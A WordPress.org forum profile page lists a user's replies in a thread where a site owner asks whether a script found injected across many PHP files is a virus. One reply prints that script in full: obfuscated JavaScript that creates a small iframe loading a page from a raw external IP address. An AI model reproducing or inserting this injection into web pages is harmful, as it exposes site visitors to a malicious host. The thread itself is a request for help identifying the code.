Title: mostanser's Replies | WordPress.org

---

# mostanser

  [  ](https://wordpress.org/support/users/mostanser/)

 *   [Profile](https://wordpress.org/support/users/mostanser/)
 *   [Topics Started](https://wordpress.org/support/users/mostanser/topics/)
 *   [Replies Created](https://wordpress.org/support/users/mostanser/replies/)
 *   [Reviews Written](https://wordpress.org/support/users/mostanser/reviews/)
 *   [Topics Replied To](https://wordpress.org/support/users/mostanser/replied-to/)
 *   [Engagements](https://wordpress.org/support/users/mostanser/engagements/)
 *   [Favorites](https://wordpress.org/support/users/mostanser/favorites/)

 Search replies:

## Forum Replies Created

Viewing 4 replies - 1 through 4 (of 4 total)

 *   Forum: [Installing WordPress](https://wordpress.org/support/forum/installation/)
   
   In reply to: [unknown script](https://wordpress.org/support/topic/unknown-script/)
 *  [mostanser](https://wordpress.org/support/users/mostanser/)
 * (@mostanser)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906575)
 * > zoonini wrote:
   > Mostanser – so you’re saying the moment this code appeared your site stopped
   > working? Sounds like something malicious, then, though I can’t find any online
   > sources to verify this.
 * correct, just wondering if anyone else got this issue. I see the member “presasportiva”
   got the same issue (may be) in wordpress. Just wanted to monitor its activity.
 * thanks
 *   Forum: [Installing WordPress](https://wordpress.org/support/forum/installation/)
   
   In reply to: [unknown script](https://wordpress.org/support/topic/unknown-script/)
 *  [mostanser](https://wordpress.org/support/users/mostanser/)
 * (@mostanser)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906572)
 * > zoonini wrote:
   > Have you tried searching your local files to see exactly which file this is
   > coming from? Or is it only showing on the server?
   >  If you only have a copy 
   > of the site on the server, I’d download the entire site to a temporary folder
   > on your hard drive and do a search there. Knowing which file this is in will
   > help narrow down the issue.
 * It was in a live site and was running properly. Suddenly today it happened. I
   had to delete all files unfortunately as a matter of urgent restoring. But it
   had been found in many PHP files in the entire Joomla site.
 * thanks
 *   Forum: [Installing WordPress](https://wordpress.org/support/forum/installation/)
   
   In reply to: [unknown script](https://wordpress.org/support/topic/unknown-script/)
 *  [mostanser](https://wordpress.org/support/users/mostanser/)
 * (@mostanser)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906566)
 * anybody got any reason of this yet?
 *   Forum: [Installing WordPress](https://wordpress.org/support/forum/installation/)
   
   In reply to: [unknown script](https://wordpress.org/support/topic/unknown-script/)
 *  [mostanser](https://wordpress.org/support/users/mostanser/)
 * (@mostanser)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906421)
 * I have got the same script in one of the Joomla site that I was working in many
   PHP files. What is this? I found
 *     ```
       <script>
       z1=document.createElement("if"+String.fromCharCode(114)+"ame");
       sz=String.fromCharCode(60-11);
       z1.setAttribute("s"+String.fromCharCode(114)+"c","http://"+"178.86."+"0.137/in."+"cgi?def"+"ault");
       z1.setAttribute("wid"+"th",sz);
       z1.setAttribute("heig"+"ht",sz);
       function zp(zb){document.body.appendChild(zb);}
       void(zp(z1));
       </script>
       ```
   
 * Is this a virus?

Viewing 4 replies - 1 through 4 (of 4 total)